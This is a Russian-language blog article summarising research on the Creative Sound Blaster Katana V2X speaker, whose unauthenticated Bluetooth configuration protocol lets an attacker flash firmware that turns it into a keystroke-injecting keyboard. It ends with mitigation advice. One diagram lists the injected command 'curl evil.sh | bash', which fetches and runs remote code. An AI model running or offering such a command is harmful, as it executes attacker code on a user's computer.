Как колонка может взломать твой компьютер

03.06.2026 · 5 мин

Представь: на столе стоит обычная колонка, подключённая к ПК по USB. Она воспроизводит звук, светится и выглядит безобидно. А теперь представь, что это же устройство может удалённо напечатать команды в твоём терминале.

Протокол, который забыли закрыть

История началась с исследования Creative Sound Blaster Katana V2X. Автор статьи с сайта nns.ee изучал способ общения с колонкой и обнаружил фирменный протокол CTP, который используется для настройки устройства.

По USB доступ к CTP защищён challenge-response аутентификацией. Но по Bluetooth всё оказалось куда проще: достаточно подключиться к устройству, и можно отправлять команды напрямую.

USB vs BLUETOOTH
────────────────
USB:   [ПК] ──▶ [CTP] ──▶ [AUTH] ──▶ [Команда] ✅
       │        │         требуется
       │        ▼
       └── (требует подключения)

Bluetooth: [Атакующий] ──▶ [CTP] ──▶ [Команда] ✅
           15 метров       напрямую, без пароля
Сравнение доступа к протоколу CTP: USB требует аутентификации, Bluetooth — нет

Прошивка как оружие

После получения доступа к командам следующим шагом стала прошивка. Через CTP можно обновлять firmware, и автор смог извлечь оригинальный образ, изменить его и загрузить обратно по Bluetooth.

В примере он заменил строку WELCOME на PATCHED. Колонка приняла изменённую прошивку, а защита сводилась к обычному хешу SHA-256, который можно пересчитать после изменений.

Rubber ducky, только по воздуху

Самая опасная часть идеи в том, что колонка продолжает работать как привычное аудиоустройство, но при этом может быть перепрошита так, чтобы эмулировать клавиатуру. По USB она уже доверена системе, а значит может отправлять нажатия клавиш как HID-устройство.

В прошивке уже есть поддержка HID-функций для управления громкостью и воспроизведением. Автор показал, что в описании устройства можно добавить и клавиатуру, после чего колонка становится способом инъекции команд в компьютер.

ЭТАПЫ ПРЕВРАЩЕНИЯ КОЛОНКИ В КЛАВИАТУРУ
───────────────────────────────────────
1. [Атакующий]        Загрузка модифицированной прошивки
     │                      через Bluetooth (~15м)
     ▼                      на колонку
2. [PATCHED Firmware] Запуск с поддержкой Keyboard HID
     │                      в дополнение к Audio
     ▼
3. [Katana V2X]       Заставляет ПК видеть клавиатуру
     │                      через USB-подключение
     ▼
4. [ПК]               Автоматическое распознавание
     │                      как HID-устройства
     ▼
5. [Keystroke Injection] Отправка команд:
     │   gnome-calculator &     │
     │   curl evil.sh | bash    │
     ▼                         ▼
  Открывает калькулятор     Выполняет произвольный код
Последовательность атаки: от загрузки прошивки до выполнения команд на ПК

Где границы

Атака не выглядит массовой и универсальной. Радиус Bluetooth ограничен, стены сокращают дальность, а модификация прошивки требует серьёзной подготовки и навыков реверс-инжиниринга.

Но сам принцип тревожный: периферийное устройство, которому доверяет компьютер, может стать точкой входа для атаки снаружи.

Что с этим делать

Если у тебя есть такая колонка, разумно отключить Bluetooth, если он не нужен, и не держать устройство постоянно подключённым к ПК по USB. В корпоративной среде полезно ограничивать новые HID-устройства и контролировать автозапуск периферии.

Эта история напоминает, что любое удобство в железе стоит проверять на безопасность. Устройство, созданное для звука, может неожиданно стать каналом для выполнения команд на компьютере.

Выводы

Ссылки

Дмитрий Полухин — продуктовый дизайнер. Пишу про разработку, AI и дизайн интерфейсов. Обо мне, контакты и профили.